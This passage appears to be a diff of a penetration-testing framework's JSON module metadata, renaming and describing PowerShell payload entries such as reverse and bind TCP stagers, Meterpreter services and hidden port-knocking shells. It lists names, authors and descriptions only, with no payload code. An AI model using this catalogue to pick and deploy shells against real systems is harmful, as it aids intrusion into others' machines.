"payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", "aliases": [ ], @@ -180050,12 +189507,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "vlad902 " + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -180066,7 +189527,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -180075,9 +189536,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { + "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", "aliases": [ ], @@ -180086,12 +189547,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "spoonm " + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -180102,7 +189567,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -180111,9 +189576,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", + "payload_cmd/windows/powershell/metsvc_bind_tcp": { + "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", + "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", "aliases": [ ], @@ -180122,12 +189587,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf " + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -180140,7 +189602,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp", + "ref_name": "cmd/windows/powershell/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180149,9 +189611,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { - "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", + "payload_cmd/windows/powershell/metsvc_reverse_tcp": { + "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", "aliases": [ ], @@ -180160,12 +189622,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf " + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", "references": [ ], @@ -180178,7 +189637,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180187,9 +189646,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", + "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -180198,13 +189657,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "jt ", "skape ", + "hdm ", "sf ", - "RageLtMan" + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ ], @@ -180217,7 +189676,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180226,9 +189685,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", + "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", "aliases": [ ], @@ -180237,14 +189696,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "jt ", "skape ", + "hdm ", "sf ", - "mihi", - "RageLtMan" + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ ], @@ -180257,18 +189715,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", "aliases": [ ], @@ -180277,14 +189735,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "jt ", "skape ", - "sf ", - "mihi", - "RageLtMan" + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ ], @@ -180297,18 +189753,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", + "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -180317,11 +189773,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", + "jt ", + "skape ", "hdm ", + "sf ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ ], @@ -180334,7 +189792,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -180343,9 +189801,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_udp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", + "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", "aliases": [ ], @@ -180354,10 +189812,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "RageLtMan " + "jt ", + "skape ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ ], @@ -180370,7 +189829,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_udp", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -180379,9 +189838,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_winhttp": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", + "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", "aliases": [ ], @@ -180390,11 +189849,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "Borja Merino " + "jt ", + "skape ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ ], @@ -180407,7 +189866,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_winhttp", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180416,9 +189875,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_winhttps": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", "aliases": [ ], @@ -180427,11 +189886,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", + "jt ", + "skape ", "hdm ", - "Borja Merino " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ ], @@ -180444,7 +189904,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_winhttps", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180453,9 +189913,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", "aliases": [ ], @@ -180464,15 +189924,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", - "Borja Merino " + "hdm ", + "sf ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180483,18 +189944,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", + "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", "aliases": [ ], @@ -180503,15 +189964,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", - "Borja Merino " + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180522,7 +189982,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -180531,9 +189991,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "payload_cmd/windows/powershell/patchupdllinject/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", "aliases": [ ], @@ -180542,14 +190002,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180560,7 +190018,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -180569,9 +190027,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", "aliases": [ ], @@ -180580,15 +190038,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", - "OJ Reeves" + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180599,7 +190056,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180608,9 +190065,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", + "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", "aliases": [ ], @@ -180619,13 +190076,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "UserExistsError" + "jt ", + "skape ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180636,7 +190093,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180645,9 +190102,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", + "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", "aliases": [ ], @@ -180656,13 +190113,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "vlad902 " + "jt ", + "skape ", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180673,7 +190130,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180682,9 +190139,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", "aliases": [ ], @@ -180693,14 +190150,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "jt ", + "skape ", "hdm ", - "skape " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180711,7 +190168,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -180720,9 +190177,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", "aliases": [ ], @@ -180731,16 +190188,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", - "mihi", - "RageLtMan" + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180751,18 +190206,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", "aliases": [ ], @@ -180771,14 +190226,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "jt ", + "skape ", "hdm ", - "OJ Reeves" + "sf ", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180789,7 +190245,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -180798,9 +190254,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", "aliases": [ ], @@ -180809,13 +190265,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", "sf ", - "skape " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180826,18 +190285,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/find_tag", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http", + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -180846,15 +190305,16 @@ "type": "payload", "author": [ "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180865,18 +190325,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - 